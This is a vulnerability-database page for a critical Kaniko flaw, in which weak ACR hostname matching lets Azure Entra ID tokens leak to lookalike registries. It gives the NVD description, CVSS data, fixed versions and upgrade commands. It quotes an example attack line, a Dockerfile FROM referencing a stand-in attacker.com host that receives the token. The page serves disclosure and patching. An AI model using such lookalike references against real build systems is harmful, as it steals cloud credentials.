CVE-2026-105769chainguard kaniko
Azure AD Token Leakage in Kaniko via Weak Registry Validation
Critical 9.3 No auth needed
Follow: this CVE · chainguard · chainguard kaniko We alert you by email or Slack (account required).
- Priority
- 71
- CVSS 3.1
- 9.3
- EPSS
- —
- Auth required
- No
- Published
- Nov 2, 2026
- Updated
- Nov 2, 2026
- Category
- Application · Cross-platform
- SSVC (CISA)
- Exploitation: none · Automatable: no · Technical impact: total
- Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
What happens
Kaniko before 1.25.20 leaks Microsoft Entra ID (Azure AD) access tokens to attacker-controlled registries due to weak hostname validation. A Dockerfile referencing images on lookalike hosts (such as x.azurecr.io.attacker.com) causes the credential helper to obtain a token from the build's Azure identity and send it to the attacker, who can use it against Azure Resource Manager or exchange it for ACR registry credentials. No RUN instruction or push is required.
Show the original NVD text
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
What to do
Patch available · fixed versions: 1.25.20
Update Kaniko to version 1.25.20 or later to fix Azure Container Registry hostname validation.
- Apply the vendor's security update for kaniko.
- It can be exploited without authentication: if you cannot patch now, restrict Internet access to the affected service.
Affected packages
| Ecosystem | Package | Affected versions | Fixed in | How to upgrade |
|---|---|---|---|---|
| Go | github.com/chainguard-dev/kaniko |
< 1.25.20 |
1.25.20 |
go get github.com/chainguard-dev/kaniko@v1.25.20 |
| Go | github.com/chainguard-dev/kaniko |
< 1.25.20 |
1.25.20 |
go get github.com/chainguard-dev/kaniko@v1.25.20 |
Per OSV / GitHub Advisories (GHSA-5q7h-w9jf-cx97, GO-2026-6902). Check the version in your lockfile before upgrading.
Affected products
- chainguard · kaniko
As reported by the CNA that published the CVE. NVD has not added CPEs with versions yet.
Official advisories
- Security update for govulncheck-vulndb · SUSE · SUSE-SU-2026:24730-1 · Nov 12, 2026 Critical
- Security update for govulncheck-vulndb · SUSE · openSUSE-SU-2026:22336-1 · Nov 12, 2026 Critical
Vendor, CERT and distribution advisories that name this CVE. Original titles.
Official sources
References
Links published by the sources. Open them with care.